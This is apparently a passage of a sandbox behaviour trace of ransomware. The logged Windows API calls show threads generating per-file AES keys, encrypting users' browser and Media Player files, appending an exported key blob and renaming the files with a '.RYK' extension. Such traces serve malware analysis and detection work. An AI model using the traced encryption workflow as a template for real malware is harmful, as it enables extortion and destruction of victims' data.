	[0261.598] SetFilePointer (in: hFile=0x8fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.598] WriteFile (in: hFile=0x8fc, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x8010, lpNumberOfBytesWritten=0x93ef584, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x93ef584*=0x8010, lpOverlapped=0x0) returned 1
	[0261.599] WriteFile (in: hFile=0x8fc, lpBuffer=0x93ef5b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x93ef590, lpOverlapped=0x0 | out: lpBuffer=0x93ef5b0*, lpNumberOfBytesWritten=0x93ef590*=0x6, lpOverlapped=0x0) returned 1
	[0261.600] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x93ef5a0 | out: pbData=0x0*, pdwDataLen=0x93ef5a0*=0x10c) returned 1
	[0261.600] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x93ef610, pdwDataLen=0x93ef5a0 | out: pbData=0x93ef610*, pdwDataLen=0x93ef5a0*=0x10c) returned 1
	[0261.600] WriteFile (in: hFile=0x8fc, lpBuffer=0x93ef610*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x93ef590, lpOverlapped=0x0 | out: lpBuffer=0x93ef610*, lpNumberOfBytesWritten=0x93ef590*=0x10c, lpOverlapped=0x0) returned 1
	[0261.600] CloseHandle (hObject=0x8fc) returned 1
	[0261.601] CryptDestroyKey (hKey=0x2b8ea0) returned 1
	[0261.601] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3198
	os_tid = 0x3704

	[0261.585] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat", dwFileAttributes=0x80) returned 1
	[0261.593] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904
	[0261.593] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x8d5fc58 | out: lpFileSize=0x8d5fc58*=9204) returned 1
	[0261.594] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x8d5fc68 | out: lpFileSize=0x8d5fc68*=9204) returned 1
	[0261.594] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x22d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.594] ReadFile (in: hFile=0x904, lpBuffer=0x8d5fcb0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d5fc20, lpOverlapped=0x0 | out: lpBuffer=0x8d5fcb0*, lpNumberOfBytesRead=0x8d5fc20*=0x19, lpOverlapped=0x0) returned 1
	[0261.611] SetFilePointer (in: hFile=0x904, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.611] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8d5fc38 | out: phKey=0x8d5fc38*=0x2b8ea0) returned 1
	[0261.611] SetFilePointer (in: hFile=0x904, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.611] ReadFile (in: hFile=0x904, lpBuffer=0x2690000, nNumberOfBytesToRead=0x23f4, lpNumberOfBytesRead=0x8d5fc44, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8d5fc44*=0x23f4, lpOverlapped=0x0) returned 1
	[0261.613] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8d5fc40*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8d5fc40*=0xf4250) returned 1
	[0261.613] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8d5fc48*=0x23f4, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8d5fc48*=0x2400) returned 1
	[0261.613] SetFilePointer (in: hFile=0x904, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.613] WriteFile (in: hFile=0x904, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x8d5fc44, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8d5fc44*=0x2400, lpOverlapped=0x0) returned 1
	[0261.614] WriteFile (in: hFile=0x904, lpBuffer=0x8d5fc70*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8d5fc50, lpOverlapped=0x0 | out: lpBuffer=0x8d5fc70*, lpNumberOfBytesWritten=0x8d5fc50*=0x6, lpOverlapped=0x0) returned 1
	[0261.614] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8d5fc60 | out: pbData=0x0*, pdwDataLen=0x8d5fc60*=0x10c) returned 1
	[0261.614] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8d5fcd0, pdwDataLen=0x8d5fc60 | out: pbData=0x8d5fcd0*, pdwDataLen=0x8d5fc60*=0x10c) returned 1
	[0261.614] WriteFile (in: hFile=0x904, lpBuffer=0x8d5fcd0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8d5fc50, lpOverlapped=0x0 | out: lpBuffer=0x8d5fcd0*, lpNumberOfBytesWritten=0x8d5fc50*=0x10c, lpOverlapped=0x0) returned 1
	[0261.614] CloseHandle (hObject=0x904) returned 1
	[0261.615] CryptDestroyKey (hKey=0x2b8ea0) returned 1
	[0261.615] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3199
	os_tid = 0x3708

	[0261.588] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.RYK", dwFileAttributes=0x80) returned 1
	[0261.589] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\msimgsiz.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904
	[0261.589] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x8fcfcb8 | out: lpFileSize=0x8fcfcb8*=16674) returned 1
	[0261.589] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x8fcfcc8 | out: lpFileSize=0x8fcfcc8*=16674) returned 1
	[0261.589] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x4000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.589] ReadFile (in: hFile=0x904, lpBuffer=0x8fcfd10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8fcfc80, lpOverlapped=0x0 | out: lpBuffer=0x8fcfd10*, lpNumberOfBytesRead=0x8fcfc80*=0x19, lpOverlapped=0x0) returned 1
	[0261.591] CloseHandle (hObject=0x904) returned 1

Thread:
	id = 3200
	os_tid = 0x370c

	[0261.609] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", dwFileAttributes=0x80) returned 0
	[0261.609] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.609] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.610] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3201
	os_tid = 0x3710

	[0261.804] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", dwFileAttributes=0x80) returned 0
	[0261.804] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.804] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.804] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3203
	os_tid = 0x371c

	[0261.806] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", dwFileAttributes=0x80) returned 0
	[0261.806] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.806] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3204
	os_tid = 0x3720

	[0261.807] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", dwFileAttributes=0x80) returned 0
	[0261.808] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.808] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.808] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3205
	os_tid = 0x3724

	[0261.809] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb", dwFileAttributes=0x80) returned 1
	[0261.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0
	[0261.810] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x97af598 | out: lpFileSize=0x97af598*=1069056) returned 1
	[0261.810] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x97af5a8 | out: lpFileSize=0x97af5a8*=1069056) returned 1
	[0261.811] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x104ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.811] ReadFile (in: hFile=0x8f0, lpBuffer=0x97af5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x97af560, lpOverlapped=0x0 | out: lpBuffer=0x97af5f0*, lpNumberOfBytesRead=0x97af560*=0x19, lpOverlapped=0x0) returned 1
	[0261.815] SetFilePointer (in: hFile=0x8f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.815] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x97af578 | out: phKey=0x97af578*=0x2b90d0) returned 1
	[0261.815] SetFilePointer (in: hFile=0x8f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.815] ReadFile (in: hFile=0x8f0, lpBuffer=0x3490000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x97af584, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesRead=0x97af584*=0xf4240, lpOverlapped=0x0) returned 1
	[0261.838] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x97af580*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x97af580*=0xf4240) returned 1
	[0261.838] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3490000*, pdwDataLen=0x97af588*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3490000*, pdwDataLen=0x97af588*=0xf4240) returned 1
	[0262.060] SetFilePointer (in: hFile=0x8f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0262.060] WriteFile (in: hFile=0x8f0, lpBuffer=0x3490000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x97af584, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesWritten=0x97af584*=0xf4240, lpOverlapped=0x0) returned 1
	[0262.068] SetFilePointer (in: hFile=0x8f0, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0262.068] ReadFile (in: hFile=0x8f0, lpBuffer=0x3490000, nNumberOfBytesToRead=0x10dc0, lpNumberOfBytesRead=0x97af584, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesRead=0x97af584*=0x10dc0, lpOverlapped=0x0) returned 1
	[0262.070] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x97af580*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x97af580*=0xf4250) returned 1
	[0262.070] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3490000*, pdwDataLen=0x97af588*=0x10dc0, dwBufLen=0xf4250 | out: pbData=0x3490000*, pdwDataLen=0x97af588*=0x10dd0) returned 1
	[0262.071] SetFilePointer (in: hFile=0x8f0, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0262.071] WriteFile (in: hFile=0x8f0, lpBuffer=0x3490000*, nNumberOfBytesToWrite=0x10dd0, lpNumberOfBytesWritten=0x97af584, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesWritten=0x97af584*=0x10dd0, lpOverlapped=0x0) returned 1
	[0262.073] WriteFile (in: hFile=0x8f0, lpBuffer=0x97af5b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x97af590, lpOverlapped=0x0 | out: lpBuffer=0x97af5b0*, lpNumberOfBytesWritten=0x97af590*=0x6, lpOverlapped=0x0) returned 1
	[0262.073] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x97af5a0 | out: pbData=0x0*, pdwDataLen=0x97af5a0*=0x10c) returned 1
	[0262.073] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x97af610, pdwDataLen=0x97af5a0 | out: pbData=0x97af610*, pdwDataLen=0x97af5a0*=0x10c) returned 1
	[0262.073] WriteFile (in: hFile=0x8f0, lpBuffer=0x97af610*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x97af590, lpOverlapped=0x0 | out: lpBuffer=0x97af610*, lpNumberOfBytesWritten=0x97af590*=0x10c, lpOverlapped=0x0) returned 1
	[0262.073] CloseHandle (hObject=0x8f0) returned 1
	[0262.089] CryptDestroyKey (hKey=0x2b90d0) returned 1
	[0262.089] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3206
	os_tid = 0x3728

	[0261.846] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb.RYK", dwFileAttributes=0x80) returned 1
	[0261.847] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950
	[0261.847] GetFileSizeEx (in: hFile=0x950, lpFileSize=0x98bfc38 | out: lpFileSize=0x98bfc38*=70018) returned 1
	[0261.847] GetFileSizeEx (in: hFile=0x950, lpFileSize=0x98bfc48 | out: lpFileSize=0x98bfc48*=70018) returned 1
